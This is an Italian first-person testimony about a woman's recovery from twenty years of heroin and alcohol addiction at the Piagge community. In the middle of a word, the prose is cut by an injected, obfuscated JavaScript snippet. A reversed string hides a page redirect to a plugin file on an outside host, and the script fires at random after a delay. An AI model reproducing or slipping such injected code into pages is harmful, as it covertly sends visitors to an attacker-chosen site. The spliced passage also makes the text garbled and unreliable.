Tiziana, un nuovo inizio

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Sono arrivata alla comunità delle Piagge nell’estate del 1999. Venivo
da venti anni di vita di strada, e a portarmi fin lì era solo la
speranza di raccogliere un po’ di elemosina, quel tanto che bastava
a comprare un paio di bottiglie per me e per Christian, il compagno
con cui dividevo le mie giornate, e qualcosa per mia figlia,
che allora aveva due anni e mezzo. Doveva essere solo un passaggio
veloce, e invece non me ne sono più allontanata.
Al primo impatto la comunità mi sembrò un luogo davvero
strano. Non capivo se era una chiesa, un centro sociale, o che
altro. Tutto sommato non lo so nemmeno oggi. Certo è che, in
tutta la mia esperienza di vita, è stato l’unico posto in cui ho trovato
non solo un piccolo aiuto, comunque apprezzabile, ma una
vera e propria accoglienza. Dopo un’ora trovammo infatti tre
materassi per terra, con tanto di lenzuola e coperte, e l’invito a
rimanere all’interno del centro. Chiavi in mano. è stato così che,
a trentotto anni, ho potuto ristabilire un contatto con il mondo
della normalità, e riprendere un cammino di vita interrotto da
tanto tempo.
Certo i primi giorni mi sentivo un’intrusa, e mi muovevo diffi-
dente, sempre pronta a scusarmi, a scansarmi e a nascondermi. E
più scoprivo intorno a me persone e famiglie tranquille, normali,
tanto più mi sentivo inadeguata, irrimediabilmente diversa; arrivai
a pensare che neppure un esorcismo o un trapianto di cervello
potesse portarmi ad essere come loro. E poi c’era il bisogno
di bere, con quel tremito alle mani che mi assaliva non appena
mi mancava l’alcool, e la vergogna addosso di non farlo vedere
agli altri.
Durante la gravidanza ero uscita da una dipendenza dall’eroina
durata venti anni, e sapevo bene quanto fosse difficile disintossicarsi
da una sostanza che ormai hai nel sangue, droga o alcool che
sia. Per uscirne ci vuole uno scarto, di fantasia e di volontà.
Qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando avevo cominciato a bucarmi c’era in me una voglia di
trasgressione, forse anche di rivalsa verso chi non si era mai preso
cura di me. C’era il rifiuto della normalità, il desiderio di cose
estreme, comunque una ricerca di vita, di un mondo mio migliore,
più affascinante, più intenso. La pensavo come una scelta vincente,
altro che. E anche il disordine che riempiva sempre più le
mie giornate lo sentivo come coerenza, come stile di vita; era la
mia strada.
Poi piano piano finisci per cancellare tutto ciò che è intorno a te.
Un po’ alla volta smetti di guardarti intorno, e ti abitui ad andare
avanti a testa bassa, guardando solo le mattonelle, l’asfalto. Vai
dove la vita ti porta, e tutto quello che ti circonda, la dimensione
reale, lo spazio in cui vivi, non esiste più, e conta solo il tempo:
quello che ti separa dall’ultimo buco fatto, o dal prossimo che ti
devi fare, o dalla prossima storia. E il tempo, quando prende il
sopravvento, strapazza l’anima, la fa correre, la tiene in un continuo
affanno.
Parlando con Alessandro e con gli altri della comunità capii però,
davvero e fino in fondo, che in quel momento avevo davanti a me
una possibilità, un’opportunità. Parole che tante volte mi erano
rimbalzate addosso, ma che solo allora cominciarono ad avere un
senso. Sentivo ogni giorno di più che volevo cogliere quell’occasione,
e il desiderio di cambiamento, quando è autentico, quando
coinvolge tutta te stessa, è la spinta più forte che esista. L’unica in
grado di farti smuovere dalle abitudini.
Iniziavo a sentire che una via d’uscita è sempre possibile, per tutti;
bisogna solo che una parte di te lo voglia. E dentro di me stava nascendo
una volontà nuova, vera, quella che dura nel tempo, e non
si lascia smorzare dalle cose della vita. Cominciai a frequentare il
centro alcolisti, e piano piano iniziai ad accorgermi che gli atteggiamenti
che apprezzavo negli altri erano presenti anche dentro di
me. Addormentati in qualche angolino dell’animo, fuori forma,
ma c’erano.
Il rapporto con il mio compagno di allora è finito. Non dividevamo
più lo stesso mondo, e quando si riparte da zero ognuno
prende una sua strada. La sua capivo che era una via senza sfondo,
e così la nostra relazione finì, definitivamente.
Oggi vivo alle Piagge, in una casa del Comune, e lavoro all’interno
della comunità. L’amore per la bimba e per l’altro mio figlio,
che oggi ha otto anni, sono stati determinanti per tornare a sentirmi
parte del mondo, ma insieme a questo c’è stata la riscoperta
della mia utilità, della mia capacità di offrire agli altri quello che
sono in grado di dare.
Spesso si tratta di cogliere un segnale, in grado di richiamarti
alla vita; a volte basta poco e si apre uno spiraglio. Non è verso
l’esterno, ma verso te stesso, verso la parte più autentica di te. E
allora ritrovi la forza di alzare la testa, ritrovi la tua dignità, e te
ne innamori subito. Fino a non volerla lasciare mai più.

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